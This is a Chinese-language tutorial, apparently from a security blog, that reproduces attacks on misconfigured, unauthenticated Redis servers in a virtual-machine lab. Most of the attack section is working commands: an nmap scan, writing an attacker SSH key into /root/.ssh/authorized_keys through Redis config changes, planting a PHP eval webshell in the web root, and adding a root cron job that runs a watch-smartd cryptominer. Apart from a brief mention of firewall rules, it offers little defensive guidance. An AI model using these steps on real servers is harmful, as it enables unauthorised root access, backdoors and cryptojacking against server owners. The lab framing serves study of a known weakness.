主要从redis未授权访问入手,还原一些黑客的攻击场景,介绍一些常用的攻击方法和安全知识。
0x0 应用介绍
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
0x1 漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
目前比较主流的案例:互联网多次应急事件中发现大量的watch-smartd挖矿木马。
0x2 攻击环境
虚拟机Vmare环境下,进行测试与抓包分析。
对象 | IP | OS | 备注 |
攻击主机 | 192.168.184.136 | Kali2 |
|
受害主机 | 192.168.184.137 | Centos 7 | 已按照默认配置安装Redis2.8.3并开启redis服务监听默认端口6379 |
攻击主机 192.168.184.136
受害主机192.168.184.137
0x3 攻击手法
Step1 使用nmap对攻击主机进行端口扫描,探测端口开放信息
nmap -A -p 6379 -v 192.168.184.137 结果如下:
Step2 用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。
./redis-cli -h 192.168.184.137
Info
Keys
Step 3 写入ssh公钥获取操作系统权限
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
ssh-keygen -t rsa
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/key.txt | ./redis-cli -h 192.168.184.137 -x set xxx
连接目标主机的Redis并设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
将缓存当中的root信息写入特定的文件目录,并重新命名
此时已经可以通过ssh直接远程登录目标主机 192.168.184.137 root用户,命令成功执行。
0x4 高级利用
Step1 Webshell
通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。
远程连接redis,写入webshell
config set dir /var/www/html set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
受害主机上的确出现了此webshell
Setp 2 挖矿
给服务器指定目录上传一个watch-smartd挖矿木马,一个shell脚本1.sh并写入定时任务可以轻松完成挖矿。
config set dir / var/spool/cron
config set dbfilename root
Set watch-smartd "\n\n\n*/1 * * * * /root/watch-smartd\n\n\n"
Set 1.sh "\n\n\n /1sh/root/1.sh \n\n"
save
0x5 wireshark分析
Step1 Namp扫描数据关键字符
Step2 Redis远程连接服务器
Step3 公钥获取操作系统权限